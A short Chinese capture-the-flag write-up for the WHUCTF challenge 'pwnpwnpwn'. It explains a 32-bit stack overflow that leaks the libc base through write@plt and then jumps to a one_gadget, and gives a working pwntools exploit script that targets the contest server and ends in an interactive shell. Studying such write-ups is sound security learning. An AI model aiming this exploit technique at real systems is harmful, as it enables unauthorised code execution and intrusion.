花了大概两天时间来做WHUCTF的题目,第一次排名这么靠前。首先感谢武汉大学举办这次萌新赛,也感谢fmyy的师傅的耐心指导,让我第一次做出堆的题目来。
pwnpwnpwn
这是一道栈题目,32位程序,只开启了堆栈不可执行。栈溢出泄露libc的基地址,然后换成one_gadget,就可以了。
1 from pwn import * 2 3 #p = process('./pwn') 4 p = remote('218.197.154.9',10004) 5 elf = ELF('./pwn') 6 context.log_level = 'debug' 7 8 write_plt = elf.plt['write'] 9 fun_got = elf.got['__libc_start_main'] 10 main = elf.symbols['main'] 11 12 payload = 'a'*0x88 + 'bbbb' + p32(write_plt) 13 payload += p32(main) + p32(1) + p32(fun_got) + p32(0x10) 14 p.sendlineafter('Ready?\n',payload) 15 base_addr = u32(p.recv(4)) - 0x018540 16 shell = base_addr + 0x3a80c 17 payload = 'a'*0x88 + 'bbbb' + p32(shell) 18 p.sendlineafter('Ready?\n',payload) 19 p.interactive()